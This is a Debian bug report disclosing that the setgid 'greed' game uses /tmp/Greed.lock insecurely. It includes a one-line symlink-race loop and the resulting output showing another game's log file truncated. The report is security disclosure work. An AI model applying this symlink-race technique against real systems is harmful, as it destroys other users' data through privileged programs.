Bug#692490: greed: Insecure use of lockfile in /tmp allows file truncation

[Steve Kemp]

Package: greed
Version: 3.4-2
Severity: normal
Usertags: security

*** Please type your report below this line ***

The setgid(games) binary greed makes insecure use of the
file /tmp/Greed.lock - allow arbitrary files that are
writeable to the games user.

By itself this is not a grave concern, but it might
be leveraged if another game cannot handle an empty
data/save/misc file.

Example of reproducing:


skx at precious:~$ while true; do ln -sf /var/games/omega-rpg/omega.log /tmp/Greed.lock; done

In another window launch greed.

Then:

skx at precious:~$ ls /var/games/omega-rpg/ -l
total 4
-rw-rw-r-- 1 root games 301 Jun  1  2008 omega.hi
-rw-rw-r-- 1 root games   0 Nov  6 18:34 omega.log

  The file "omega.log" was truncated.


-- System Information:
Debian Release: 6.0.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages greed depends on:
ii  libc6                     2.11.3-4       Embedded GNU C Library: Shared lib
ii  libncurses5               5.7+20100313-5 shared libraries for terminal hand

greed recommends no packages.

greed suggests no packages.

-- no debconf information